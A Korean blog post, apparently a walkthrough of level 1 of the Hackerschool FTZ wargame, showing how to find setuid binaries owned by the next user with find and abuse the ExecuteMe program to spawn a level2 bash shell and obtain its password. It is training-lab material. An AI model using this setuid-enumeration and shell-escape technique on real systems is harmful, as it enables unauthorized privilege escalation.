로그인을 하고 들어가면 hint파일이 있습니다. hint파일을 읽어보면
[level1@BOF level1]$ ls
hint public_html tmp
[level1@BOF level1]$ cat hint
level2 권한에 setuid가 걸린 파일을 찾는다.
[level1@BOF level1]$
level2 권한에 setuid가 걸린 파일을 찾는다. 라네요.
자 그럼 제가 위에 강조해놓은걸 보세요. level2권한, setuid, 찾는다. 먼저 "찾는다"는 명령어가 있습니다.
find[1]라는 리눅스 명령어입니다. (다른 카테고리에 올려놓겠습니다.) 그 외, level2권한, setuid는 find라는 명령어의 옵션으로 주면 됩니다.
[level1@BOF level1]$ find / -user level2 -perm -4000 2>/dev/null
이렇게 명령어를 입력하면 hint에 나온 파일을 찾을수 있을겁니다.
[level1@BOF level1]$ find / -user level2 -perm -4000 2>/dev/null/bin/ExecuteMe
[level1@BOF level1]$
ExcuteMe라는 파일을 찾았습니다.
[level1@BOF level1]$ ll /bin/ExcuteMe-rwsr-x--- 1 level2 level1 13101 Apr 1 2013 /bin/ExecuteMe
[level1@BOF level1]$ ExcuteMe
setuid가 걸려있는 실행파일입니다. 실행해 보면,
레벨2의 권한으로 당신이 원하는 명령어를
한가지 실행시켜 드리겠습니다.
(단, my-pass 와 chmod는 제외)
어떤 명령을 실행시키겠습니까?
[level2@ftz level2]$
원하는 명령어를 level2의 권한으로 실행시켜준다는 군요. 하지만 필요한 my-pass는 사용할수 없기 때문에 다른 방법을 생각해 봐야 합니다. 리눅스를 좀 다뤄보신분이라면 쉘이라는걸 어느정도 알고 계실겁니다. 그럼 level2의 권한일때, 쉘을 실행시키면 level2권한의 쉘이 실행될겁니다.
[level2@ftz level2]$ bash
[level2@ftz level2]$ id
uid=3002(level2) gid=3001(level1) groups=3001(level1)[level2@ftz level2]$ my-pass
level2의 패스워드를 알아냈습니다.
'Hackerschool > FTZ' 카테고리의 다른 글
[*] level 3 (0) | 2015.01.29 |
---|---|
[*] level 2 (0) | 2015.01.29 |